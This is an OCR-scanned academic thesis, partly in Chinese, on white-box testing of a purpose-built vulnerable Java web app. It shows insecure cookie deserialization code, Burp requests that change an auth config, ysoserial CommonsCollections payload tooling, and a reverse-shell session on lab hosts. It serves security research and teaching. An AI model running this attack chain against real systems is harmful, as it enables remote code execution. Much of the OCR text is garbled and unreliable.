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Abstract

With the continuous advancement of technology, web systems have become increasingly
prevalent, and the functionalities of web systems have also become more complex, leading to
the emergence of more vulnerabilities and security threats. Since the development of web
systems involves the use of numerous libraries for coding, the existence of defective or
exploitable functions in these libraries can result in system vulnerabilities. In OWASP TOP 10:
2021, insecure deserialization is classified as A8. Current black-box testing, may not necessarily
uncover deserialization vulnerabilities, requiring a manual review to prevent the occurrence of
such vulnerabilities. White-box testing is one of the primary methods in web penetration testing.
Through source code analysis, penetration testers identify weaknesses in the target web
application. They then develop attack code to perform penetration testing attacks on the web
application, subsequently patching any identified vulnerabilities.

Based on this issue, this study designs a Java web system to build a deserialization
vulnerability and utilizes well-known vulnerability scanning tools for black-box testing. After
testing, no exploitable vulnerabilities were discovered. Subsequently, white-box testing is
conducted to examine the source code, identifying web vulnerabilities. Attack code is
developed to demonstrate deserialization attack methods, thereby gaining administrator
privileges in the web system. Through this approach, the significance of white-box testing is
highlighted.

Keywords: White-Box Testing, Web Penetration Testing, Java Web System,

Deserialization
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) Calculating insertion points
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| Header[User—Agent] | PHP Object Injection | C1

| Header[user-Agent] | Java Deserialization | Cl
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User u = (User)ois.readObject();
ois.close();

return true;

catch (Exception e) {
logger.error(“caught exception deserializing in UserController.getUser() : " + e.getMessage());

return false;

}

public User getUser(HttpServletRequest req) {
try {
if (WebUtils.getCookie(req, "user") == null) {
return null;

String user_string = WebUtils.getCookie(req, “user").getValue();

ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(user_string));
ObjectInputStream cis = new ObjectInputStream(bais);

User u = (User)ois.readObject();
close();
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o1 ConfigKV kv = this.configService.getKVById(id);
93 model.addAttribute ("id", Integer.valueOf(kv.getId()));
94 model.addAttribute("key", kv.getKey());
o5 model.addAttribute("value”, kv.getValue());
97 return "config_edit";
}

1

100 return "redirect:/index";

}

@GetMapping ({"/admin/config/"})
= public String getConfig(HttpServletRequest req, Model model, HttpServletResponse res) {
o078 if (this.sessionService.isAuthenticated(req)) {
model.addAttribute ("auth", Boolean.valueOf(true));
return "redirect:/admin";
}

= e e

B ~ : # & AdminController.class * & 4575

¥z e (FHEFPE ID R4 ¢ F| "SessionService.class" 0 # W iz B
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f » AdvancedAuth. class &2 r » AdminController.class &7 r » SessionService.class 2 ‘

@PostConstruct

public void init() {
308 if (Boolean.parseBoolean(this.configService.getConfigValue("advanced_auth"))) {
31 logger.info("Setting advanced auth handler");

32 this.authStrat = new AdvancedAuth();
o } else {
34 logger.info("Setting simple auth handler");
5 this.authStrat = new SimpleAuth();
H
}

2w  public void resetStrategy() { init(); }

2= public boolean isAuthenticated(HttpServletRequest req) { return this.authStrat.isAuthenticated(req); }

2 public User getUser(HttpServletRequest req) { return this.authStrat.getUser(req); }

B4 : # & SessionService.class * f 475
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i¢ * "getConfigValue":& {7 3¢ Bt 3 "ConfigDao.class" » ** ]+ #."ConfigDao.class"* %
. "getConfigBykey">+ 4 ¢ » F]5 A7 7 5 &% admin ' UGEFRERERET LFHTZT
oo AT B iE"d" e Vv iE % SQL Injection ~ i * BurpSuite ¥ Spider i fe B F X
= -\B&%f,’ o
X

) AdvancedAuth. class &% ”@Adminmmrouer.classzz ’/@,SessionSewice.classiﬁ ’/@;ConfigService.classiﬁ ’/@,SimpleAuth.classm r@mnﬁguau.classm
e L NE RIS

@Repository
public class ConfigDao
@Autowired
private JdbcTemplate jdbcTemplate;

= public List<ConfigKV> getAllConfigs() {

19 String sql = "SELECT id, key, value FROM config_kv;";
20 return this.jdbcTemplate.query(sql, new ConfigKVMapper());
}
= public ConfigKV getConfigByKey(String key) {
2 String sql = "SELECT id, key, value FROM config_kv WHERE key = 7;";
25 return (ConfigKV)this.jdbcTemplate.queryForObject(sql, new Object[] { key }, new ConfigKVMapper());
}
= public int updateValueByKey(String value, String key) {
20 String q = "UPDATE config_kv SET value = 7 WHERE key = 7;";
return this.jdbcTemplate.update(q, new Object[] { value, key });
}

! # & ConfigDao.class ® J 445

B+ - ¢ # & "AdminController.class" » ** 116 {7 » % 37 "/admin/config/{id}/edit" »
ev"id"g % 2R aE > At BE"d"e 0w 3@+ SQL Injection ~ i& *  BurpSuite
® Spider fi-ie e B T OE 3 N o

%) AdvancedAuth. class 5 r ) AdminController.class &2 r ) SessionService.class 2 r ) ConfigService.class &% r ) SimpleAuth. class ” fi) ConfigDao. class &

13 return "redirect:/index";

@PostMapping ({"/admin/config/{id}/edit"})
public String postConfigEdit(@PathVariable("id") int id, HttpServletRequest req, Model model, HttpServletResponse res)

1188 if (this.sessionService.isAuthenticated(req)) {

119 model . addAttribute("auth", Boolean.valueOf(true));

120 User u = this.sessionService.getUser(req);

1218 if (u.isAdmin()) {

122 String key = "";

123 String value = "";

1248 if (req.getParameter("key") != null) {

125 key = SecurityTools.sanitizeString(req.getParameter("key"));
}

! f =X #& & AdminController.class * J 42%5
HiE AT AT T 2 3 % > 38 % BurpSuite ¥ Spider $iCje fe B T "id" {8 0 2B L =
¥ % I Geturl {4 & 51 "/admin/config/4/edit" » i& B"id" B B3t e S F M I £ KT
Bt i 3]"/admin/config/4/edit" > 32 1 3% F & ¥ > key ~ Value = B 87 %] V3%
Value f§ 3K %k @B 5 "false" > T & 7 F B[ o

54
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2027  http: I/192.168 148133

2031  http://192.168.148.133

2032 http://192.168.148.133 GET
2033  http://192.168.148.133 GET
2034  http://192.168.148.133 GET
2035  http://192.168.148.133 GET

\n  Actions v

1 GET /admin/config/4/edit HTTP/1.1

2 Host: 192.168,148.133
User-Agent: Mozilla/5.0 (X11: Linux
i Accept: text/html,application/xhtml+

S Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate
7 Connection: close
Cookie: JSESSIONID=AADGBOBFSA4DD16E7ES

1

Upgrade-Insecure-Requests:

2003  http//192.168.148.133 GET Jjsfbreakpoints.min.js

2004 oo/ E;xgg IEERERS 1 Jis/utiLis

200! ttp://192.168.148.133 Gl |simain.js EDIT SETTINGS
2008 hitp://192.168.148.133 GET Iesslimages/close.svg

2009  hitp://192.168.148.133 GET fadmin

2010 http://192.168.148.133 GET Jindex

2013 hitp://192.168.148.133 GET Tjsljquery.min.js (43%

2014 http://192.168.148.133 GET Ijsljquery.scrollex.min js

2015 hitp://192.168.148.133 GET fjsibrowser.min.js

2016  http://192.168.148.133 GET Jjs/breakpoints.min.js advanced_auth
2017 hitp://192.168.148.133 GET JjslutiLjs

2018 http://192.168.148.133 GET Tjs/mainjs

2024 hitp://192.168.148.133 GET Iesslimages/close.svg

Jadmin/config/4/edit Not a robot
Tjsljquery.scrollex.min.js
Jjsfbrowser.min.js

Ijs/breakpoints.min.js UPDATE

JjsfutiLjs
Jjsmain,js

Response

Pretty Render

1 HTTP/1.1 200

\n  Actions v

X-Content -Type-Options: nosniff
x86_64; rv:78,0) Gecko/20100101 Firefox/78.0 X-XSS-Protection: 1; mode=block
xml,application/xml;q=0.9, image/webp,*/*:q=0.8 4 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: O
7 X-Frame-Options: DENY

3C66429A522D98F Content-Type: text/htal;charset=UTF-8
S

Content-Language: el

Lo - e BF AT RE

[p2 "d‘F o L’-@H’ "fl "= " "4 AL - -1 72X - e y :"\;
EEHAE = X BiE4te B'alse"ir F"true" SRS Z OV BFIRE R N B S 4
Ze o2 e 13‘\1 o1 = v 4‘4 @ 2k fl“"fl L A = d\- " d ng =
FRERA s ¥ RPIRBEGFMET S 2 de"false" By 0 T ¥ B~ s edit" | o
N S < ) 2 =T 48 4 2 B A3l d . 1431 [P s = XA FAQ
7X 2 [ - ¥ 2 = 2 IE
BRI T R T T B ar- Bk F,ka«Amln LI+ 2B > 7 2w
[ . s %,_;)...1 N ‘4_}5.1\_/ 2 -\ P R 1 = Zil 1L %
2> y 3= a 1 = [} =% —? R 5 ’}’ El
BT ORI H 1&\: IR Rl Ry VR s YA 4 Lig (7 F B 7| i 12
2009 Mt;)/HQZJGB.ME.IB GET Jadmin . ’
2013 http://192.168,148.133 GET lisliquery.min s EDIT SETTINGS
2014 http://192.168.148.133 GET ljs/jquery.scrollex.min.js
2015  http://192.168.148.133 GET ljs/browser.min.js
2016  http://192.168.148.133 GET Jjs/breakpoints.min.js
2017  http://192.168.148.133 GET lislutiljs Update successful.
2018  http://192.168.148.133 GET lisimain.js KEY
2024 http://192.168.148.133 GET lesslimages/close.svg
2027  http://192.168.148.133 GET Jadmin/config/4/edit
2030  http://192.168.148.133 GET Jjsljquery.min.js advanced_auth
2031 http://192.168.148.133 GET lis/jquery.scrollex.min.js
2032  http://192.168.148.133 GET ljs/browser.min.js
2033 http://192.168.148.133 GET ljs/breakpoints.min.js
2034  http://192.168.148.133 GET Jjslutiljs Not a robot
2035  http//192.168.148.133 GET lis/main.js
2038  http://192.168.148.133 GET Iessl/images/close.svg
2039  http//192.168.148.133 POST ladmin/config/4/edit
2043  http://192.168.148.133 GET lisliquery.scrollex.min.is URRATE
Request Response
Actions v Pretty Render \n  Actions v
1 POST /admin/config/4/edit HTTP/1.1 1 HTTP/1.1 200
2 Host: 192.168.148.133 2 X-Content-Type-Options: nosniff
3 User-Agent: Mozilla/5.0 (X1l: Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 3 X-XSS-Protection: 1; mode=block
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0,8 4 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
5 Accept-Language: en-US,en;q=0.5 Pragma: no-cache
Accept-Encoding: gzip, deflate Expires: 0
7 Content-Type: application/x-www-form-urlencoded 7 X-Frame-Options: DENY
8 Content-Length: 48 8 Content-Type: text/html;charset=UTF-8
9 Origin: http://192.168.148.133 9 Content-Language: en-US

S B A

"cookie "¥ e & S

"cookie" ¢

# o

enig

W

g].].

S EHE BERARE

% "AdvancedAuth.class"
¥

2% B."ois" % p "ObjectInputStram (bais)"{
base64 ¥ fg > #-K B 7| i (N5 ¥ o base6d G gk =
DIEARIS AT LIEBE B P YA R (TR T

s

fL
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lus AdvancedAuth. class &% ” % AdminController.class i2 ’/‘Q SessionService. dlass 5 r fus ConfigService. dlass 5 r lus SimpleAuth. class 5 r L CanfigDao. class 52 ‘
-

e7) String user_string = WebUtils.getCookie(req, "user").getValue();

34 ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(user_string));
S ObjectInputStream ois = new ObjectInputStream(bais);

37 User u = (User)ois.readObject();
ois.close();

a0 return true;
420 catch (Exception e) {
43 logger.error(“caught exception deserializing in UserController.getUser() : " + e.getMessage())
15 return false;
}
}

public User getUser(HttpServletRequest req) {
try {
528 if (WebUtils.getCookie(req, "user") == null) {
53 return null;

}
String user_string = WebUtils.getCookie(req, "user").getValue();

57 ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(user_string));
sg ObjectInputStream ois = new ObjectInputStream(bais);

0 User u = (User)ois.readObject();
61 ois.close();

B2 @ £ =t & AdvancedAuth.class * f 475
4.4 YsoSerial = ¥ Payload

W LR (S 0 B FE BT AR B ehg 2t 0 ATy @ % YsoSerial 1 B kiE
Payload [11] - YsoSerial &~ i B Jq Java & R 7] it | * 1 & o %:Eﬂi;l E & L PIEE Java B
AN hE BBk A Ko d Java Bt AN R A 2 B FBAE AL ERE g
%%ﬁ. FESRFE et it 5k z‘?f—gf SUESR= b2 Mﬁé ER AP 5 RBHEANBH

& DDoS Z & o Flpt o &é%%m? B2 w0 &R Bkt ® * YsoSerial 1 £
?’cé:‘; Payload » i&4& ¥ 12 3T h ,:;::]t?r_i = # {4 o YsoSerial & F 24 = § |
Java F B 7| i Payload &y # » igdt ayload HWREPIER RRIAFF TR 7
IR E AR E R AR % 2o XA > YsoSerial W * 3T &2 ch® 2 BREFE L P G
*F Z 3 Payload i * CommonCollections4 » 4@+ 7 #17 > 4o § & * Lgfél 2v
R EREESET AR 2w 0 QIEFEN T JEAPM oE B2 R ex 2HERE ﬁfﬁfﬁ
ST AR i e LR
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$ Jjava -jar ysoseri
¥ SO SERIAL?
Usage: java -jar yso
Available payload
Payload
Beanshelll
C3pa
Clojure

al.jar

serial.jar [payload] '[command]
types:
Authors
@pwntester, @cschneider47ll
@mbechler
@lackOfMostTrades

CommonsBeanutilsl  @frohoff
CommonsCollectionsl @frohoff
CommonsCollections2 @frohoff
CommonsCollections3 @frohoff
CommonsCollections4 @frohoff
CommonsCollectionsS @matthias_kaiser, @jasinner
CommonsCollections6 @matthias_kaiser

FileUploadl
Groovyl
Hibernatel
Hibernate2

@mbechler
@frohoff

@mbechler
@mbechler

JBossInterceptorsl @matthias_kaiser

JRMPClient
JRMPListener

@mbechler
@mbechler

Dependencies

bsh:2.8b5

c3p@:0.9.5.2, mchange-commons-java:@.2.11
clojure:1.8.@

commons-beanutils:1.9.2, commons-collections:3.1,
commons-collections:3.1
commons-collections4:4.8
commons-collections:3.1
commons-collections4:4.8
commons-collections:3.1
commons-collections:3.1
commons-fileupload:1.3.1, commons-ig:2.4
groowvy:2.3.9

javassist:3.12.1.GA, jboss-interceptor-core:2.8.8.

Bl 7 : YsoSerial 1 £ Payload 7] % [11]

B

B NI EERERAE o NP AP EER T st > 2= 0 reverse shell ¥ B L

T oo EAFIREF L ARFEEY O RH LT E PHE TGS E AT o2 E
BRI RF DR M F A2 KHEBREF RSB

AR AP BRE I ERAT . T AP R RS 2 ¢
B g iR Frde foi (U N IRE 2R MR VSRR R g 2 o

Login Success!
Config Success!
-—2024-04-29 23:15:41-

Connecting to jitpack.io (jitpack.io)|172.67.72.129|:443 ...

https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT. jar
Resolving jitpack.io (jitpack.io)... 172.67.72.129, 104.26.8.99, 104.26.9.99,

HTTP request sent, awaiting response ... 302 Found
Location: /com/github/frohoff/ysoserial/master-2874a69f61-1/ysoserial-master-2874a69f61-1.jar [following]

-—2024-04-29 23:15:58--
Reusing existing connect

https://jitpack.io/com/github/frohoff/ysoserial/master-2874a69f61-1/ysoserial-master-2874a69f61-1.jar

ion to jitpack.io:443.

HTTP request sent, awaiting response ... 200 0K

Length: 59525398 (57M) [

application/java-archive]

Saving to: ‘ysoserial.jar’

[ ———==] 56.77M 3.44MB/s

ysoserial.jar 100%

Last-modified header invalid -- time-stamp ignored.
2024-04-29 23:17:50 (3.54 MB/s) - ‘ysoserial.jar’ saved [59525398/59525398]

Picked up _JAVA_OPTIONS:
Picked up _JAVA_OPTIONS:
Your Shell

listening on [any] 8888
Serving HTTP on 0.0.0.0
connect to [192.168.230.
whoami

tomcat8

ip addr

connected.

in 16s

useSystemAAFontSettings=on -Dswing.aatext=true
.useSystemAAFontSettings=on -Dswing.aatext=true

port 6666 (http://0.0.0.0:6666/)
133] from (UNKNOWN) [192.168.230.130] 53492

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen 1000

link/loopback 00:00:
inet 127.0.0.1/8 sco
valid_1ft forever
inet6 /128 scope
valid_1ft forever

00:00:00:00 brd 00:00:00:00:00:00
pe host lo

preferred_1ft forever

host

preferred_lft forever

2: eth@: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default glen 1000

link/ether 00:0c

:89:a 1 brd f A A A A

inet 192.168.230.133/24 brd 192.168.230.255 scope global dynamic noprefixroute eth@

valid_1ft 1731sec
inet6 fe80::20c:29f
valid_1ft forever

preferred_lft 1731sec
fe89:a521/64 scope link noprefixroute
preferred_1ft forever

r

i 11

flics o
I
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FEK S 2 2E B RFFFIFRIAEI] ~ OWASPTOP 10> %47 H & F
FAEE Y E R o M F R A PR DR E B o A P RRDRIGARR T SRS 7D
SF e e T YRS kS BB RT BRSHE B N R ERE S F L

REFL O TP TXALBREINEIL T X BETNER R A
fRGFENE B RE 2 S B B e f E R fRIER N B SRR
A2 o UFEURE R F 2 D iR Rl iR

BEATY NPT UEB R ARGF RS AT 22 G R E 9 Rl
RO AR H N AR PIFIZ PR E D RBERI O Kok F ’fg:%‘?r%* i g
’D%—Ir} ME& o AP AT T AR 0 0 JARIE RRIREARY 7 T AR T
#HAPRRERY DEE

BB RS RRRE AR L RS £ K g i A2 MR
Rk KFE kR 2 LA € i - BB ADR G oA o Fleb o AN 2laER
BRlZRILARY der 6 AR M 20 R ARaT 2 B AR PR iR fa R
gHfder Ao ARG R A EFORT o JRT 2MET F LA A HERFT LR
HORRFTHEELE T AW 3 > BEEREFEREED 20 7L i LA
MFLE N ROR Y 0 KA AR AL o LM BARAS AT RS o TfFE
BlER S 2 B ik s i']im »rd B BEBAS LA g ALAC ~ o
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